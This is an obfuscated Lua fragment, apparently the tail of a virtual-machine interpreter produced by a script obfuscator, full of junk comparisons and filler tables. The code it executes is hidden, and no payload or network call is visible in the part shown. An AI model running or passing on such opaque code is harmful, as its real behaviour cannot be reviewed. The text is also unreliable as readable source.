ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIlllIIll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("O")];if ililiilllliliillli_llIlllIIll<=#("LKoX6yUu")then if ililiilllliliillli_llIlllIIll<=#("4LX")then if ililiilllliliillli_llIlllIIll<=#("V")then if ililiilllliliillli_llIlllIIll==#("")then local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("EK")]ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll](ililiilllliliillli_IIlIlIIIIlIIIIIllIII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllllIlIIIlllIIIllllll+1,ililiilllliliillli_llIlIIll))else local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("ix")]ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll](ililiilllliliillli_IIlIlIIIIlIIIIIllIII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllllIlIIIlllIIIllllll+1,ililiilllliliillli_llIlIIll))end;elseif ililiilllliliillli_llIlllIIll==#("Et")then ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("fm")]]=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("7rg")];else local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Ov")]local ililiilllliliillli_llIlllIIll,ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_IlIIIIIlIIIII(ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll](ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll+1]))ililiilllliliillli_llIlIIll=ililiilllliliillli_lllIIllllIllIllIllI+ililiilllliliillli_lllllIlIIIlllIIIllllll-1 local ililiilllliliillli_lllIIllllIllIllIllI=0;for ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIlIIll do ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_lllIIllllIllIllIllI];end;end;elseif ililiilllliliillli_llIlllIIll<=#("B378j")then if ililiilllliliillli_llIlllIIll>#("ltj7")then do return end;else ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#{"1 + 1 = 111";"1 + 1 = 111";}]]=ililiilllliliillli_lIIIlIIIllllllIllIIIII[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("HqK")]];end;elseif ililiilllliliillli_llIlllIIll<=#("Z4mUS2")then ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("93")]]=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("nz7")];elseif ililiilllliliillli_llIlllIIll>#("LTlX1JX")then ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("hv")]]();else do return end;end;elseif ililiilllliliillli_llIlllIIll<=#("b4v8MDJb5bOMe")then if ililiilllliliillli_llIlllIIll<=#("VdLxufQKDc")then if ililiilllliliillli_llIlllIIll>#("I2KHNcyk5")then ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("0j")]]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("msN")]][ililiilllliliillli_lllllIlIIIlllIIIllllll[#("kZnJ")]];else local ililiilllliliillli_IIIIIIlIIlllIlllll;local ililiilllliliillli_IIIIIllIIllIllIllllIlll,ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI;local ililiilllliliillli_llIlllIIll;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("XM")]]=ililiilllliliillli_lIIIlIIIllllllIllIIIII[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("DfV")]];ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIlllIIll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Tj")]ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll]()ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("u2")]]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Bdk")]][ililiilllliliillli_lllllIlIIIlllIIIllllll[#{"1 + 1 = 111";"1 + 1 = 111";{408;989;505;249};"1 + 1 = 111";}]];ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("kN")]]=ililiilllliliillli_lIIIlIIIllllllIllIIIII[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("UMg")]];ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("sp")]]=ililiilllliliillli_lIIIlIIIllllllIllIIIII[ililiilllliliillli_lllllIlIIIlllIIIllllll[#{{391;207;247;952};"1 + 1 = 111";"1 + 1 = 111";}]];ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("pt")]]=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("5Om")];ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIlllIIll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Ah")]ililiilllliliillli_IIIIIllIIllIllIllllIlll,ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI=ililiilllliliillli_IlIIIIIlIIIII(ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll](ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll+1]))ililiilllliliillli_llIlIIll=ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI+ililiilllliliillli_llIlllIIll-1 ililiilllliliillli_IIIIIIlIIlllIlllll=0;for ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_llIlllIIll,ililiilllliliillli_llIlIIll do ililiilllliliillli_IIIIIIlIIlllIlllll=ililiilllliliillli_IIIIIIlIIlllIlllll+1;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_IIIIIllIIllIllIllllIlll[ililiilllliliillli_IIIIIIlIIlllIlllll];end;ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIlllIIll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Le")]ililiilllliliillli_IIIIIllIIllIllIllllIlll,ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI=ililiilllliliillli_IlIIIIIlIIIII(ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll](ililiilllliliillli_IIlIlIIIIlIIIIIllIII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIlllIIll+1,ililiilllliliillli_llIlIIll)))ililiilllliliillli_llIlIIll=ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI+ililiilllliliillli_llIlllIIll-1 ililiilllliliillli_IIIIIIlIIlllIlllll=0;for ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_llIlllIIll,ililiilllliliillli_llIlIIll do ililiilllliliillli_IIIIIIlIIlllIlllll=ililiilllliliillli_IIIIIIlIIlllIlllll+1;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_IIIIIllIIllIllIllllIlll[ililiilllliliillli_IIIIIIlIIlllIlllll];end;ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIlllIIll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("aX")]ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll](ililiilllliliillli_IIlIlIIIIlIIIIIllIII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIlllIIll+1,ililiilllliliillli_llIlIIll))ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("gj")]]();end;elseif ililiilllliliillli_llIlllIIll<=#("q8lvdq3rTep")then ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("BO")]]();elseif ililiilllliliillli_llIlllIIll==#{{894;378;816;52};{367;518;819;662};"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";{699;32;895;962};"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";}then local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Ju")]local ililiilllliliillli_llIlllIIll,ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_IlIIIIIlIIIII(ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll](ililiilllliliillli_IIlIlIIIIlIIIIIllIII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllllIlIIIlllIIIllllll+1,ililiilllliliillli_llIlIIll)))ililiilllliliillli_llIlIIll=ililiilllliliillli_lllIIllllIllIllIllI+ililiilllliliillli_lllllIlIIIlllIIIllllll-1 local ililiilllliliillli_lllIIllllIllIllIllI=0;for ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIlIIll do ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_lllIIllllIllIllIllI];end;else local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Dv")]ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]()end;elseif ililiilllliliillli_llIlllIIll<=#{"1 + 1 = 111";{766;541;837;838};"1 + 1 = 111";"1 + 1 = 111";{685;939;42;238};"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";{211;475;871;259};"1 + 1 = 111";{543;282;648;388};"1 + 1 = 111";{160;405;441;916};"1 + 1 = 111";{61;194;637;416};}then if ililiilllliliillli_llIlllIIll==#("rT8sFgMzAJjDyG")then local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#{"1 + 1 = 111";"1 + 1 = 111";}]local ililiilllliliillli_llIlllIIll,ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_IlIIIIIlIIIII(ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll](ililiilllliliillli_IIlIlIIIIlIIIIIllIII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllllIlIIIlllIIIllllll+1,ililiilllliliillli_llIlIIll)))ililiilllliliillli_llIlIIll=ililiilllliliillli_lllIIllllIllIllIllI+ililiilllliliillli_lllllIlIIIlllIIIllllll-1 local ililiilllliliillli_lllIIllllIllIllIllI=0;for ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIlIIll do ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_lllIIllllIllIllIllI];end;else ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("uk")]]=ililiilllliliillli_lIIIlIIIllllllIllIIIII[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("oUR")]];end;elseif ililiilllliliillli_llIlllIIll<=#("PVrEry9VYY45DcXD")then local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#{{343;862;100;610};{144;237;457;320};}]ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]()elseif ililiilllliliillli_llIlllIIll==#("3UjTugJEyf2Ag8VuQ")then local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("K2")]local ililiilllliliillli_llIlllIIll,ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_IlIIIIIlIIIII(ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll](ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll+1]))ililiilllliliillli_llIlIIll=ililiilllliliillli_lllIIllllIllIllIllI+ililiilllliliillli_lllllIlIIIlllIIIllllll-1 local ililiilllliliillli_lllIIllllIllIllIllI=0;for ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIlIIll do ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_lllIIllllIllIllIllI];end;else ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#{{207;902;680;375};"1 + 1 = 111";}]]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("IhV")]][ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Osrb")]];end;ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;end;end);end;return ililiilllliliillli_IIIlIIIllIllIllIIIlII(true,{},ililiilllliliillli_lIIllIIlIlIlllll())();end)(string.byte,table.insert,setmetatable);